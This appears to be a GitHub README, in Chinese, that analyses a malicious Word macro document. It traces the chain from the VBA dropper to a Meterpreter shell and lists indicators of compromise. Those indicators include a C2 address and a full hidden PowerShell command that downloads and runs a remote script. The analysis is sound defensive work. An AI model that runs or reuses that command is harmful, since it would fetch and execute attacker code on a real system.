Karla-QD/Office-Doc-Malware-Analysis
GitHub: Karla-QD/Office-Doc-Malware-Analysis
一份完整的 Office 宏恶意软件分析案例,展示从 VBA 宏释放器到 Meterpreter C2 载荷的全链路逆向分析方法论。
Stars: 1 | Forks: 0
# 逆向工程:从 Word 宏到 Meterpreter Shell
### 摘要
我分析了在 **MalwareBazaar** 上发现的一个可疑 Word 文档。乍看之下,这像是一个简单的社工手段(伪造的“Office 更新”通知),但实际上却是一个复杂的 **Metasploit/Meterpreter** 载荷。本项目涵盖了完整的执行链:从最初的 VBA 宏,到最终从系统内存中提取命令与控制 (C2) 载荷。
### 工具与环境
* **环境:** FLARE VM(隔离分析实验室)。
* **静态分析:** `oleid`、`olevba` (oletools)。
* **逆向工程:** Ghidra。
* **动态分析:** x32dbg、Process Monitor (ProcMon)。
* **其他工具:** VirusTotal、CyberChef。
### 分析工作流
#### 1. 初始分析 (OLE 分析)
我没有直接打开该文档。而是使用 `oleid` 检查可疑指标,发现宏已被启用。随后,我运行 `olevba` 提取了脚本。
* **发现:** 该宏是一个“释放器”,旨在将一个可执行文件写入磁盘并静默执行。
#### 2. 逆向分析载荷 (Ghidra & x32dbg)
拿到二进制文件(`malware_extracted.exe`)后,我发现它经过了严重的混淆处理。
* **静态分析:** 注意到了 **PEB 遍历** 和 **ROR13 哈希** 技术。恶意软件试图隐藏其对 `VirtualProtect` 的调用。
* **动态分析:** 我在恶意软件修改内存权限时进行了拦截。我发现了一个名为 `.wusd` 的自定义节,它具有 **RWE(读、写、执行)** 权限——这是 shellcode 注入的典型特征。
#### 3. 行为追踪
通过监控进程树,我观察到了恶意软件产生隐藏 PowerShell 进程的确切时刻。这证实了它使用了“发射后不管”技术,即一旦 shell 激活,原始释放器就会退出。
### 妥协指标
* **原始文档 (SHA-256):** `9779b841a22ca39777f4230bdc3a8b0bc9cfe5a4f34c232c3c22ece2c38cb44b`
* **提取的二进制文件 (SHA-256):** `7F7FEB8E72B7B8CADAC422492E5589D1CD35B5E188D0B1AB6218E27A366A8B64`
* **C2 服务器:** `10.127.196.102`
* **端口:** `8080`
* **恶意命令:**
powershell -nop -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.127.196.102:8080/rev.ps1')
### 详细分析章节
如需深入了解技术步骤,请查看专题报告:
* [**完整技术报告**](./reports/FULL_REPORT.md) - 逐步演示指南。
标签:APT攻击, C2通信, DAST, DNS 反向解析, ESC8, FLARE VM, Ghidra, IOCs, Meterpreter, OL E工具, OpenCanary, PEB遍历, PowerShell攻击, ProcMon, ROR13哈希, SecList, Shellcode提取, VBA宏, x32dbg, 二进制分析, 云安全监控, 云安全运维, 云资产清单, 内存取证, 内存权限, 初始访问, 反弹Shell, 妥协指标, 威胁情报, 安全研究报告, 安全运营, 宏病毒, 开发者工具, 恶意样本分析, 恶意软件分析, 执行链, 扫描框架, 数字取证, 横向移动, 沙箱, 混淆技术, 生成式AI安全, 社会工程学, 私有化部署, 编程规范, 网络信息收集, 网络安全, 自动化脚本, 虚拟机, 远程控制, 逆向工程, 钓鱼文档, 防御规避, 隐私保护, 静态分析